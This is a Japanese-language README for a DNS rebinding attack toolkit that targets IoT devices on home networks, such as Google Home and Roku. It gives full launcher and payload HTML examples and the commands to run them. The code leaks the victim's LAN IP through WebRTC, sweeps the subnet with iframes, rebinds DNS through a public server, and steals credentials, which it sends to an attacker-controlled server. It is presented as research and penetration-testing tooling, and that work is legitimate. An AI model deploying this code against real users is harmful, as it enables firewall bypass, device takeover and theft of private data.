
DNSリバインディング攻撃を作成するためのフロントエンドJavaScriptツールキット。
デモ | セキュリティアドバイザリ | 同梱ペイロード | FAQ
免責事項:このソフトウェアは教育目的のみで提供されています。このソフトウェアを違法行為に使用してはなりません。作者はその使用について一切責任を負いません。嫌な奴にならないでください。
DNS Rebind Toolkitは、ローカルエリアネットワーク(LAN)上の脆弱なホストやサービスに対するDNSリバインディングエクスプロイトを開発するためのフロントエンドJavaScriptフレームワークです。Google Home、Roku、Sonos WiFiスピーカー、WiFiルーター、「スマート」サーモスタット、その他のIoTデバイスなどのデバイスを標的にできます。このツールキットを使用すると、リモートの攻撃者はルーターのファイアウォールを迂回して、被害者のホームネットワーク上のデバイスと直接やり取りし、プライベート情報を外部送信したり、場合によっては脆弱なデバイス自体を制御したりすることもできます。
この攻撃では、標的ネットワーク上の被害者がリンクをクリックするか、悪意のあるiframeを含むHTML広告を表示されるだけで十分です。そこから、被害者のWebブラウザーがプロキシのように使用され、自宅ネットワークに接続されている他のホストに直接アクセスします。これらの標的マシンとサービスは、攻撃者にとってはインターネットからは通常アクセスできないものです。リモートの攻撃者は、それらのサービスが何であるか、被害者のネットワーク上のどのIPアドレスにあるかを知らないかもしれませんが、DNS Rebind Toolkitは何百もの可能性のあるIPアドレスをブルートフォースすることでこれを処理します。
内部的には、このツールはrebind.network:53で稼働する公開whonow DNSサーバーを利用してDNSリバインディング攻撃を実行し、被害者のWebブラウザーをだまして同一オリジンポリシーを違反させます。そこから、WebRTCを使用して被害者のプライベートIPアドレス(例:192.168.1.36)を漏洩させます。このローカルIPアドレスの最初の3オクテットを使用してネットワークのサブネットを推測し、ネットワークサブネット上に存在する可能性のある各ホストにペイロードを配信するために、192.168.1.0〜255から256個のiframeを注入します。
このツールキットを使用して、独自のDNSリバインディング攻撃を開発および展開できます。このツールキットには、payloads/ディレクトリにいくつかの実世界の攻撃ペイロードが同梱されています。これらのペイロードには、Google HomeやRoku製品など、いくつかの人気のあるIoTデバイスに対する情報外部送信(およびリックロールの悪ふざけ)攻撃が含まれています。
このツールキットは、DNSリバインディング攻撃に関する独立したセキュリティ研究の成果です。その元となった研究についてはこちらで読むことができます。
# clone the repo
git clone https://github.com/brannondorsey/dns-rebind-toolkit.git
cd dns-rebind-toolkit
# install dependencies
npm install
# run the server using root to provide access to privileged port 80
# this script serves files from the www/, /examples, /share, and /payloads directories
sudo node server
デフォルトでは、server.jsはポート8008、8060、1400、80、80でそれぞれサービスを実行しているGoogle Home、Roku、Sonosスピーカー、Philips Hue電球、Radio Thermostatデバイスを標的とするペイロードを提供します。お使いのホームネットワークにこれらのデバイスのいずれかがある場合は、http://rebind.networkにアクセスすると、嬉しいサプライズがあります ;)。開発者コンソールを開いて、これらのサービスが無害にエクスプロイトされ、データが盗み出されてserver.jsに外部送信される様子を観察してください。
このツールキットには、組み合わせて使用することでDNSリバインディング攻撃を作成できる2つのJavaScriptオブジェクトが用意されています:
DNSRebindAttack:このオブジェクトは、既知のポートで実行されている脆弱なサービスに対して攻撃を開始するために使用されます。標的として選択した各IPアドレスに対して1つのペイロードを生成します。DNSRebindAttackオブジェクトは、複数のDNSRebindNodeオブジェクトを作成、管理、およびそれらと通信するために使用されます。DNSRebindAttackによって起動される各ペイロードには、DNSRebindNodeオブジェクトが含まれている必要があります。DNSRebindNode:この静的クラスオブジェクトは、各HTMLペイロードファイルに含める必要があります。1つのホストで実行されている1つのサービスを標的にするために使用されます。自身を生成したDNSRebindAttackオブジェクトと通信でき、DNSリバインディング攻撃を実行するためのヘルパー関数(DNSRebindNode.rebind(...)を使用)と、攻撃中に発見したデータをserver.jsに外部送信するためのヘルパー関数(DNSRebindNode.exfiltrate(...))を備えています。これらの2つのスクリプトは、ファイアウォールで保護されたLAN上の未知のホストに対して攻撃を実行するために一緒に使用されます。基本的な攻撃は次のようになります:
http://example.com/launcher.html)を被害者に送信します。launcher.htmlにはDNSRebindAttackのインスタンスが含まれています。http://example.com/launcher.htmlがiframeとして埋め込まれたページにアクセスします。これにより、launcher.html上のDNSRebindAttackが攻撃を開始します。DNSRebindAttackはWebRTCリークを使用して、被害者マシンのローカルIPアドレス(例:192.168.10.84)を発見します。攻撃者はこの情報を使用して、被害者のLAN上の標的とするIPアドレスの範囲(例:192.168.10.0-255)を選択します。launcher.htmlは、被害者のサブネット上のIPアドレスの範囲に対して、単一のサービス(例:ポート8008で利用可能な非公開のGoogle Home REST API)を標的として、DNSリバインディング攻撃(DNSRebindAttack.attack(...)を使用)を開始します。なお、ユーザーのネットワーク上に未知のIPアドレスのGoogle Homeデバイスが1台あり、192.168.1.0/24サブネット全体に対して攻撃が開始された場合、1つのDNSRebindNodeのリバインディング攻撃が成功し、254個は失敗します。
攻撃は、連携して動作する3つのスクリプトとファイルで構成されます:
DNSRebindAttackのインスタンスを含むHTMLファイル(例:launcher.html)payload.html)。このファイルは、標的となる各IPアドレスに対してDNSRebindAttackによってlauncher.htmlに埋め込まれます。server.js)launcher.html以下はHTMLランチャーファイルの例です。完全なドキュメントはexamples/launcher.htmlにあります。
<!DOCTYPE html>
<head>
<title>Example launcher</title>
</head>
<body>
<!-- This script is a depency of DNSRebindAttack.js and must be included -->
<script type="text/javascript" src="/share/js/EventEmitter.js"></script>
<!-- Include the DNS Rebind Attack object -->
<script type="text/javascript" src="/share/js/DNSRebindAttack.js"></script>
<script type="text/javascript">
// DNSRebindAttack has a static method that uses WebRTC to leak the
// browser's IP address on the LAN. We'll use this to guess the LAN's IP
// subnet. If the local IP is 192.168.1.89, we'll launch 255 iframes
// targetting all IP addresses from 192.168.1.1-255
DNSRebindAttack.getLocalIPAddress()
.then(ip => launchRebindAttack(ip))
.catch(err => {
console.error(err)
// Looks like our nifty WebRTC leak trick didn't work (doesn't work
// in some browsers). No biggie, most home networks are 192.168.1.1/24
launchRebindAttack('192.168.1.1')
})
function launchRebindAttack(localIp) {
// convert 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255
const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))
const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)
// The first argument is the domain name of a publicly accessible
// whonow server (https://github.com/brannondorsey/whonow).
// I've got one running on port 53 of rebind.network you can to use.
// The services you are attacking might not be running on port 80 so
// you will probably want to change that too.
const rebind = new DNSRebindAttack('rebind.network', 80)
// Launch a DNS Rebind attack, spawning 255 iframes attacking the service
// on each host of the subnet (or so we hope).
// Arguments are:
// 1) target ip addresses
// 2) IP address your Node server.js is running on. Usually 127.0.0.1
// during dev, but then the publicly accessible IP (not hostname)
// of the VPS hosting this repo in production.
// 3) the HTML payload to deliver to this service. This HTML file should
// have a DNSRebindNode instance implemented on in it.
// 4) the interval in milliseconds to wait between each new iframe
// embed. Spawning 100 iframes at the same time can choke (or crash)
// a browser. The higher this value, the longer the attack takes,
// but the less resources it consumes.
rebind.attack(ips, '127.0.0.1', 'examples/payload.html', 200)
// rebind.nodes is also an EventEmitter, only this one is fired using
// DNSRebindNode.emit(...). This allows DNSRebindNodes inside of
// iframes to post messages back to the parent DNSRebindAttack that
// launched them. You can define custome events by simply emitting
// DNSRebindNode.emit('my-custom-event') and a listener in rebind.nodes
// can receive it. That said, there are a few standard event names that
// get triggered automagically:
// - begin: triggered when DNSRebindNode.js is loaded. This signifies
// that an attack has been launched (or at least, it's payload was
// delivered) against an IP address.
// - rebind: the DNS rebind was successful, this node should now be
// communicating with the target service.
// - exfiltrate: send JSON data back to your Node server.js and save
// it inside the data/ folder.
// Additionally, the DNSRebindNode.destroy() static method
// will trigger the 'destory' event and cause DNSRebindAttack to
// remove the iframe.
rebind.nodes.on('begin', (ip) => {
// the DNSRebindNode has been loaded, attacking ip
})
rebind.nodes.on('rebind', (ip) => {
// the rebind was successful
console.log('node rebind', ip)
})
rebind.nodes.on('exfiltrate', (ip, data) => {
// JSON data was exfiltrated and saved to the data/
// folder on the remote machine hosting server.js
console.log('node exfiltrate', ip, data)
// data = {
// "username": "crashOverride",
// "password": "hacktheplanet!",
// }
})
}
</script>
</body>
</html>
payload.html以下はHTMLペイロードファイルの例です。完全なドキュメントはexamples/payload.htmlにあります。
<!DOCTYPE html>
<html>
<head>
<title>Example Payload</title>
</head>
<body>
<!--
Load the DNSRebindNode. This static class is used to launch the rebind
attack and communicate with the DNSRebindAttack instance in example-launcher.html
-->
<script type="text/javascript" src="/share/js/DNSRebindNode.js"></script>
<script type="text/javascript">
attack()
.then(() => {},
err => {
// there was an error at some point during the attack
console.error(err)
DNSRebindNode.emit('fatal', err.message)
}
) // remove this iframe by calling destroy()
.then(() => DNSRebindNode.destroy())
// launches the attack and returns a promise that is resolved if the target
// service is found and correctly exploited, or more likely, rejected because
// this host doesn't exist, the target service isn't running, or something
// went wrong with the exploit. Remember that this attack is being launched
// against 255+ IP addresses, so most of them won't succeed.
async function attack() {
// DNSRebindNode has some default fetch options that specify things
// like no caching, etc. You can re-use them for convenience, or ignore
// them and create your own options object for each fetch() request.
// Here are their default values:
// {
// method: "GET",
// headers: {
// // this doesn't work in all browsers. For instance,
// // Firefox doesn't let you do this.
// "Origin": "", // unset the origin header
// "Pragma": "no-cache",
// "Cache-Control": "no-cache"
// },
// cache: "no-cache"
// }
const getOptions = DNSRebindNode.fetchOptions()
try {
// In this example, we'll pretend we are attacking some service with
// an /auth.json file with username/password sitting in plaintext.
// Before we swipe those creds, we need to first perform the rebind
// attack. Most likely, our webserver will cache the DNS results
// for this page's host. DNSRebindNode.rebind(...) recursively
// re-attempts to rebind the host with a new, target IP address.
// This can take over a minute, and if it is unsuccessful the
// promise is rejected.
const opts = {
// these options get passed to the DNS rebind fetch request
fetchOptions: getOptions,
// by default, DNSRebindNode.rebind() is considered successful
// if it receives an HTTP 200 OK response from the target service.
// However, you can define any kind of "rebind success" scenario
// yourself with the successPredicate(...) function. This
// function receives a fetch result as a parameter and the return
// value determines if the rebind was successful (i.e. you are
// communicating with the target server). Here we check to see
// if the fetchResult was sent by our example vulnerable server.
successPredicate: (fetchResult) => {
return fetchResult.headers.get('Server') == 'Example Vulnerable Server v1.0'
}
}
// await the rebind. Can take up to over a minute depending on the
// victim's DNS cache settings or if there is no host listening on
// the other side.
await DNSRebindNode.rebind(`http://${location.host}/auth.json`, opts)
} catch (err) {
// whoops, the rebind failed. Either the browser's DNS cache was
// never cleared, or more likely, this service isn't running on the
// target host. Oh well... Bubble up the rejection and have our
// attack()'s rejection handler deal w/ it.
return Promise.reject(err)
}
try {
// alrighty, now that we've rebound the host and are communicating
// with the target service, let's grab the credentials
const creds = await fetch(`http://${location.host}/auth.json`)
.then(res => res.json())
// {
// "username": "crashOverride",
// "password": "hacktheplanet!",
// }
// console.log(creds)
// great, now let's exfiltrate those creds to the Node.js server
// running this whole shebang. That's the last thing we care about,
// so we will just return this promise as the result of attack()
// and let its handler's deal with it.
//
// NOTE: the second argument to exfiltrate(...) must be JSON
// serializable.
return DNSRebindNode.exfiltrate('auth-example', creds)
} catch (err) {
return Promise.reject(err)
}
}
</script>
</body>
</html>
server.jsこのスクリプトは、launcher.htmlファイルとpayload.htmlファイルを配信し、DNSRebindNodeから外部送信されたデータをdata/フォルダーに受け取って保存するために使用されます。開発時には、通常このサーバーをlocalhostで実行し、DNSRebindAttack.attack(...)を127.0.0.1に向けます。本番環境では、VPSクラウドサーバーでサーバーを実行し、DNSRebindAttack.attack(...)をそのパブリックIPアドレスに向けます。
# run with admin privileged so that it can open port 80.
sudo node server
usage: server [-h] [-v] [-p PORT]
DNS Rebind Toolkit server
Optional arguments:
-h, --help Show this help message and exit.
-v, --version Show program's version number and exit.
-p PORT, --port PORT Which ports to bind the servers on. May include
multiple like: --port 80 --port 1337 (default: -p 80
-p 8008 -p 8060 -p 1337)
examples/vulnerable-server.jsに脆弱なサーバーの例を含めました。この脆弱なサービスは、そのポートがserver.jsと同じポートと一致する必要があるため、ネットワーク上の別のマシンから実行する必要があります。この攻撃例を自分で実行するには、次の手順を実行します:
# clone the repo
git clone https://github.com/brannondorsey/dns-rebind-toolkit
cd dns-rebind-toolkit
# launch the vulnerable server
node examples/vulnerable-server
# ...
# vulnerable server is listening on 3000
node server --port 3000
その他の例については、examples/ディレクトリとpayloads/ディレクトリを確認してください。
server.js:DNS Rebind Toolkitサーバーpayloads/:いくつかの脆弱なIoTデバイスを標的とするように手作りされた複数のHTMLペイロードファイル。現時点ではGoogle Home、Roku、Radio Thermostatに対する攻撃が含まれています。今後、このリポジトリにさらに多くのペイロードが追加されることを歓迎します(PR歓迎!)examples/:使用例のファイル。data/:DNSRebindNode.exfiltrate(...)によって外部送信されたデータが保存されるディレクトリ。share/:examples/とpayload/内の複数のHTMLファイルで共有されるJavaScriptファイルのディレクトリ。このツールキットは、研究者やペネトレーションテスターにとって有用なツールとなるように開発されました。その作成につながった研究の一部を見たい場合は、この投稿をチェックしてください。別のサービス用のペイロードを作成した場合は、他の人もあなたの作業の恩恵を受けられるように、このリポジトリにPRを送ることを検討してください!
DNSRebindAttackはpayload.htmlを含む1つのiframeをlauncher.htmlページに埋め込みます。各iframeには、攻撃対象のIPアドレスの範囲内の単一のホストのポート8008に対して攻撃を実行する1つのDNSRebindNodeオブジェクトが含まれています。この注入プロセスは、攻撃の標的となっている各IPアドレスに対してiframeが注入されるまで続きます。payload.htmlファイルは、DNSRebindNodeを使用してwhonow DNSサーバーと通信することにより、リバインディング攻撃を試みます。成功すると、同一オリジンポリシーが違反され、payload.htmlはGoogle Home製品と直接通信できるようになります。通常、payload.htmlは、標的デバイスに対していくつかのAPI呼び出しを行い、攻撃を終了して自身を破棄する前に、結果をexample.comで実行されているserver.jsに外部送信するように記述されます。